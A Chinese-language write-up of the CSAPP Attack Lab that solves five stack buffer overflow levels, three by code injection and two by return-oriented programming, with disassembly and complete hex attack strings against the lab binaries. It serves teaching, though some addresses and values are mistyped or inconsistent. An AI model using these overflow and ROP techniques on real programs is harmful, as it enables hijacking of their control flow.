Attack Lab 緩沖區溢位攻擊實驗
這是CSAPP課程的第三個Lab,
實驗準備
實驗介紹
-
簡介
-
本次實驗涉及對兩個具有不同安全漏洞的程式進行五次攻擊,攻擊方式分為兩種
Code injection代碼注入和Reeturn-oriented programming(ROP)面向回傳編程,
目的
-
1、深入理解當程式沒有對緩沖區溢位做足夠防范時,攻擊者可以利用安全漏洞的方法,
2、更好地了解如何撰寫更安全的程式,以及編譯器和作業系統提供一些幫助,以減少程式的易受攻擊性,
3、深入了解x86-64機器代碼的堆疊和引數傳遞機制,
4、深入了解x86-64指令的編碼方式,
5、熟練使用gdb和objdump等除錯工具,
實驗說明
-
檔案說明
-
ctarget:一個容易遭受code injection攻擊的可執行程式,
rtarget:一個容易遭受return-oriented programming攻擊的可執行程式,
cookie.txt:一個8位的十六進制碼,用于驗證身份的唯一識別符號,
farm.c:目標“gadget farm”的源代碼,用于產生return-oriented programming攻擊,
hex2raw:一個生成攻擊字串的工具,
整個Lab的大致流程就是,輸入一個字串,然后利用stack的buffer overflow,去修改stack中的資料,進而改變程式的運行,達成我們的攻擊目的,具體地,是要通過反匯編上述檔案通過檔案中test()函式去呼叫getbuf()函式這個入口,來完成對stack某些部分的覆寫,利用兩種攻擊程式的技術,讓程式呼叫我們希望呼叫的touch函式,
-
X68-64暫存器和堆疊
-
X86-64有16個64位暫存器
1、%rax作為函式回傳值使用,
2、%rsp堆疊指標暫存器,指向堆疊頂,
3、%rdi,%rsi,%rdx,%rcx,%r8,%r9用作函式引數,依次對應第1引數,第2引數……
4、%rbx,%rbp,%r12,%r13,%14,%15用作資料存盤,遵循被呼叫者使用規則,
5、%r10,%r11用作資料存盤,遵循呼叫者使用規則,
輔助工具說明
-
hex2raw:要求輸入是一個十六進制格式的字串,用兩個十六進制數字表示一個位元組值,位元組值之間以空白符(空格或新行)分隔,注意使用 小端法位元組序,(將輸入的十六進制字符轉換為相應ASCII碼)
./hex2raw <attack.txt> attackraw.txt
詳細實驗介紹和實驗步驟可以查看WriteUp,強烈推薦實驗前先看一下,
PART 1 : Code Injection Attacks
代碼注入攻擊:通過使緩沖區溢位,注入攻擊代碼,
ctarget檔案將執行test函式,實驗·任務是在執行完getbuf函式后,程式不繼續執行test函式,而是執行touch函式,
在前三個階段,因為程式的設定方式使堆疊位置在每次運行時保持一致,因此堆疊上的資料可以作為可執行代碼處理,這些特性使程式容易受到攻擊,攻擊字串包含可執行代碼的位元組編碼,
通過objdump -d ctarget > ctarget.txt反匯編得到相應的匯編程式,根據匯編程式來完成試驗任務,
void test()
{
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}
Level 1
使getbuf回傳時,執行touch1而不是回傳test,
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
這一階段不需要注入新的代碼,只需要用攻擊字串覆寫getbuf的回傳值,即使getbuf結尾處的ret指令將控制轉移到touch1,
getbuf匯編代碼
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90
- 從第一句指令
sub $0x28,%rsp可以得出getbuf創建的緩沖區大小為0x28位元組,
0000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
touch1函式的起始地址為0x4017c0,getbuf在堆疊中分配了40個位元組的記憶體來存盤輸入資料,在執行ret指令后,從%rsp+40處獲得回傳地址,因此我們需要來利用緩沖區溢位覆寫掉其回傳地址,就可以將回傳地址修改為touch1的起始地址,即將輸入的第40-47個字符寫為touch1函式的起始地址,- 攻擊字串
level1.txt:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上字符是填充滿整個緩沖區(40位元組)從而溢位
c0 17 40 00 00 00 00 00
//用函式touch1的起始地址覆寫原先的回傳地址
這里注意小端法保存
- 呼叫
hex2raw生成攻擊字串,并攻擊ctarget,

Level 2
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}
else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
使getbuf回傳時,執行touch2而不是回傳test,并且讓touch2以為其接受的輸入引數是cookie,即0x59b997fa,
- 匯編代碼
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
touch2函式的起始地址為0x4017ec,根據x86-64暫存器規則和匯編代碼可知touch2函式的輸入引數存盤在暫存器%rdi,所以我們需要在進入touch2之前先跳轉到某個地方,執行注入代碼,將修改暫存器%rdi的值為cookie,然后再跳轉,所以步驟為:
1、將cookie放入暫存器%rdi中,然后將touch2函式的起始地址壓入堆疊中,這樣通過ret指令回傳時就可以跳轉到touch2,
2、然后將利用緩沖區溢位的漏洞將getbuf函式回傳到上述代碼的起始位置,即從緩沖區的起始位置執行攻擊代碼,
流程為:getbuf -> ret = 緩沖區起始地址 -> 注入代碼 -> ret -> touch2起始地址- 注入代碼指令如下:
mov $0x59b997fa, %rdi
pushq $0x4017ec //ret指令后出堆疊跳轉到touch2
ret
- 利用編譯和反匯編獲得注入代碼的機器代碼:
gcc -c attack1.s
objdump -d attack1.o > attack1.txt
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
- 因此要注入的字串為
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3,我們需要知道這段代碼在程式中為位置,記憶體中存盤這段代碼的位置是由getbuf開辟的緩沖區,而getbuf利用Gets開辟緩沖區,因此我們需要利用gdb查看緩沖區的起始位置,
緩沖區的起始地址為0x5561dc78, - 攻擊字串
level2.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代碼填充滿整個緩沖區(40位元組)從而溢位
78 dc 61 55 00 00 00 00
//用緩沖區的起始地址覆寫原先的回傳地址
- 使用
hex2raw生成攻擊字串,并攻擊ctarget,

Level 3
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
- 和Level 2 一樣
touch3也需要傳入cookie但是要求以字串的形式傳入,和Level 2的區別是touch3的引數是cookie的字串地址, 暫存器%rdi存盤cookie字串的地址, - 匯編代碼
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 callq 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 callq 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
touch3的起始地址為0x4018fa,因為在函式中呼叫了hexmatch函式,并且該函式申請了110位元組的記憶體空間,如果cookie存盤在緩沖區內會被覆寫掉,因此通過gdb查看呼叫hexmatch后堆疊頂地址為0x5561dca0,將字串存盤在堆疊之外即0x556dca8處,cookie值0x55997fa的ACSII碼為35 39 62 39 39 37 66 61 00,末尾的00是字串結束識別符號\n,注入代碼為:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi #存入cookie值ASCII碼的地址
7: 68 fa 18 40 00 pushq $0x4018fa #跳轉touch3
c: c3 retq
- 攻擊字串
level3.txt
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代碼填充滿整個緩沖區(40位元組)從而溢位
78 dc 61 55 00 00 00 00
//用緩沖區的起始地址覆寫原先的回傳地址
35 39 62 39 39 37 66 61 00
//cookie值的ACSII碼
- 使用
hex2raw生成攻擊字串,并攻擊ctarget,

PART 2:Return-Oriented Programming(ROP)
面向回傳編程:
為了防止代碼注入攻擊,程式通常使用兩種技術來阻止此類攻擊:
- 堆疊隨機化:每次程式運行堆疊的位置都是隨機的,因此無法確定注入代碼應放的位置;
- 限制可執行代碼區域:將保存堆疊的記憶體區域標記為不可執行,因此即使將程式計數器設定為注入代碼的開頭,程式也會因為分段錯誤而失敗,
因此通過執行現有代碼而不是注入新代碼來完成攻擊,常見形式為ROP,
ROP的策略是識別現有程式的位元組序列,程式會在堆疊上放入很多gadget地址(小的代碼片段,并且會ret),而每次ret都進入一個gadget,這樣可以形成一個程式鏈,通過將程式自身的指令來完成我們的目的,
根據實驗參考檔案,所需的所有gadger都可以在函式start_farm和mid_farm劃分的rtarget的代碼區域中找到,
- 代碼
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 retq
000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 retq
00000000004019a0 <addval_273>:
4019a0: 8d 87 `48 89 c7 c3` lea -0x3c3876b8(%rdi),%eax # movq %rax,%rdi
4019a6: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 `58 90` lea -0x6fa78caf(%rdi),%eax # popq %rax
4019ad: `c3` retq
00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
00000000004019bc <setval_470>:
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 retq
00000000004019c3 <setval_426>:
4019c3: c7 07 `48 89 c7 90` movl $0x90c78948,(%rdi)
4019c9: `c3` retq
00000000004019ca <getval_280>:
4019ca: b8 29 `58 90 c3` mov $0xc3905829,%eax
4019cf: c3 retq
00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 retq
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
00000000004019db <getval_481>:
4019db: b8 5c `89 c2 90` mov $0x90c2895c,%eax #movl %eax,%edx
4019e0: `c3` retq
00000000004019e1 <setval_296>:
4019e1: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)
4019e7: c3 retq
00000000004019e8 <addval_113>:
4019e8: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax
4019ee: c3 retq
00000000004019ef <addval_490>:
4019ef: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax
4019f5: c3 retq
00000000004019f6 <getval_226>:
4019f6: b8 89 d1 48 c0 mov $0xc048d189,%eax
4019fb: c3 retq
00000000004019fc <setval_384>:
4019fc: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)
401a02: c3 retq
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq
0000000000401a0a <setval_276>:
401a0a: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
401a10: c3 retq
0000000000401a11 <addval_436>:
401a11: 8d 87 `89 ce 90 90` lea -0x6f6f3177(%rdi),%eax #movl %ecx,%esi
401a17: `c3` retq
0000000000401a18 <getval_345>:
401a18: b8 48 89 e0 c1 mov $0xc1e08948,%eax
401a1d: c3 retq
0000000000401a1e <addval_479>:
401a1e: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax
401a24: c3 retq
0000000000401a25 <addval_187>:
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax
401a2b: c3 retq
0000000000401a2c <setval_248>:
401a2c: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)
401a32: c3 retq
0000000000401a33 <getval_159>:
401a33: b8 `89 d1 38 c9` mov $0xc938d189,%eax #movl %edx,%ecx
401a38: `c3` retq
0000000000401a39 <addval_110>:
401a39: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
401a3f: c3 retq
0000000000401a40 <addval_487>:
401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax
401a46: c3 retq
0000000000401a47 <addval_201>:
401a47: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
401a4d: c3 retq
0000000000401a4e <getval_272>:
401a4e: b8 99 d1 08 d2 mov $0xd208d199,%eax
401a53: c3 retq
0000000000401a54 <getval_155>:
401a54: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax
401a59: c3 retq
0000000000401a5a <setval_299>:
401a5a: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
401a60: c3 retq
0000000000401a61 <addval_404>:
401a61: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax
401a67: c3 retq
0000000000401a68 <getval_311>:
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax
401a6d: c3 retq
0000000000401a6e <setval_167>:
401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
401a74: c3 retq
0000000000401a75 <setval_328>:
401a75: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)
401a7b: c3 retq
0000000000401a7c <setval_450>:
401a7c: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)
401a82: c3 retq
0000000000401a83 <addval_358>:
401a83: 8d 87 08 `89 e0 90` lea -0x6f1f76f8(%rdi),%eax
401a89: `c3` retq
0000000000401a8a <addval_124>:
401a8a: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax
401a90: c3 retq
0000000000401a91 <getval_169>:
401a91: b8 88 ce 20 c0 mov $0xc020ce88,%eax
401a96: c3 retq
0000000000401a97 <setval_181>:
401a97: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
401a9d: c3 retq
0000000000401a9e <addval_184>:
401a9e: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax
401aa4: c3 retq
0000000000401aa5 <getval_472>:
401aa5: b8 8d ce 20 d2 mov $0xd220ce8d,%eax
401aaa: c3 retq
0000000000401aab <setval_350>:
401aab: c7 07 `48 89 e0 90` movl $0x90e08948,(%rdi) #movq %rsp,%rax
401ab1: `c3` retq
0000000000401ab2 <end_farm>:
401ab2: b8 01 00 00 00 mov $0x1,%eax
401ab7: c3 retq
gadget farm中的滿足條件的gadget
| gadget | 起始地址 | 指令編號 | 指令 |
|---|---|---|---|
| <addval_273> | 0x4019a2 | 48 89 c7 c3 | movq %rax,%rdi |
| <addval_219> | 0x4019ca | 58 (90) c3 | popq %rax |
| <setval_350> | 0x401aad | 48 89 e0 (90) c3 | movq %rsp,%rax |
| <getval_481> | 0x4019dd | 89 c2 (90) c3 | movl %eax,%edx |
| <getval_159> | 0x401a34 | 89 d1 (38) (c9) c3 | movl %edx,%ecx |
| <addval_436> | 0x401a13 | 89 ce (90) (90) c3 | movl %ecx,%esi |
| <add_xy> | 0x4019d6 | 48 8d 04 37 c3 | lea (%rdi,%rsi,1),%rax |
括號內的指令編碼為nop或2位元組指令,并不影響,
Level 4
-
要求
-
1、只能使用前八個x86-64暫存器
%rax-%rdi;
2、只能使用movq,popq,ret,nop的gadget;
3、只能使用兩個gadget完成攻擊;
和Level 2一樣將cookie存盤進暫存器%rdi內,所以需要在rterget中找到相應gadget,可以湊出相應的能夠實作攻擊的指令,先將暫存器%rax的值設定為cookie,然后復制給%rdi,,可以拼湊出代碼為:
popq %rax
ret # 0x4019ab
mov %rax,%rdi
ret # 0x4019a2
- 攻擊字串 level4.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上代碼填滿整個緩沖區以致溢位
ab 19 40 00 00 00 00 00
//用gadget1(popq %rat ret)的起始地址覆寫原先的回傳地址
fa 97 b9 59 00 00 00 00 //cookie
a2 19 40 00 00 00 00 00
//gadget2(mov %rax,%rdi ret)的起始地址
ec 17 40 00 00 00 00 00 //touch2的起始地址


Level 5
-
要求
-
1、只能使用前八個x86-64暫存器
%rax-%rdi;
2、可以使用movq,movl,popq,ret,nop的gadget;
3、可以使用在rtarget代碼中在start_farm和end_farm區域內的任意gadget完成攻擊;
4、至少需要8個gadget實作此次攻擊,
- level3一樣,需要將暫存器
%rdi的值設定為cookie字串的指標,即存盤cookie字串的地址, - 找到滿足要求的
gadget拼湊出攻擊指令
movq %rsp,%rax //傳遞堆疊頂位置堆疊頂位置
//因為不能將cookie字串存盤在堆疊頂位置,需要另找位置,將cookie字串存盤在rsp+x處
add $x ,%rax
movq %rax,%rdi //將cookie字串地址傳遞給%rdi
- 因此我們需要找到一個能夠實作加法或減法的運算的
gadget,但是參考檔案中并沒有相關的位元組編碼,需要尋找其他方法:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
- 通過觀察可以通過上述代碼來實作一個加法運算,
lea (%rdi,%rsi,1) %rax的是%rax = %rdi + %rsi傳遞的是地址,所以只要能夠讓%rdi和%rsi其中一個保存%rsp,另一個保存從stack中pop出來的偏移值,就可以表示cookie字串存放的地址,所以分成兩部分代碼:
1.把%rsp存放到%rdi中
2.把偏移值(需要確定指令數后才能確定)存放到%rsi中 - 在上述代碼中并沒有
movq %rax,%rsi的gadget,只能通過過%eax->%edx->%ecx->%esi來實作,即將%eax的值設定為cookie字串地址在堆疊中的偏移量并復制給%esi
需要注意的是,上面兩部分完成任務的暫存器不能互換,因為從%eax到%esi的值傳遞mov指令都是4byte的操作,如果對%rsp的值采用這種方式,%rsp的值會被截斷掉,最后的結果就錯了,但是偏移值不會,因為4個bytes足夠表示了, - 最后的指令為:
mov %rsp,%rax
ret
mov %rax,%rdi #先將堆疊頂%rsp存入%rdi內
ret
popq %rax #將偏移量賦值給%eax
ret
movl %eax,%edx
ret
movl %edx,%ecx
ret
movl %ecx,%esi #%esi = 偏移量
ret
lea (%rdi,%rsi,1),%rax #%rax = %rsp + 偏移量
ret
mov %rax,%rdi #%rdi = cookie字符地址
ret
- 根據題目rsp是41-48位元組處,所以在cookie字串之前還有九條指令,共占有72個位元組即
0x48位元組,所以cookie字串的地址在堆疊中的偏移量為0x48, - 攻擊字串
level5.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
// 以上代碼填滿整個緩沖區以致溢位
ad 1a 40 00 00 00 00 00 //movq %rsp,%rax
a2 19 40 00 00 00 00 00 //movq %rax,%rdi
ab 19 40 00 00 00 00 00 //popq %rax
48 00 00 00 00 00 00 00 //偏移值
dd 19 40 00 00 00 00 00 //movl %eax,%edx
34 1a 40 00 00 00 00 00 //movl %edx,%ecx
13 1a 40 00 00 00 00 00 //movl %ecx,%esi
d6 19 40 00 00 00 00 00 //lea (%rsi,%rdi,1) %rax
a2 19 40 00 00 00 00 00 //movq %rax,%rdi
fa 18 40 00 00 00 00 00 //touch3的起始地址
35 39 62 39 39 37 66 61 00 //cookie字串


實驗總結
這一部分實驗大概用了兩個晚上的時間,這個實驗的說明檔案講的很清晰,相對上一個實驗還是容易些,通過這個實驗對于堆疊還有引數傳遞有了更深的認識,對于機器代碼如何控制程式運行也更加了解,以后有機會也會多了解一下這方面的知識,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/237589.html
標籤:其他
上一篇:XSS和SQL注入
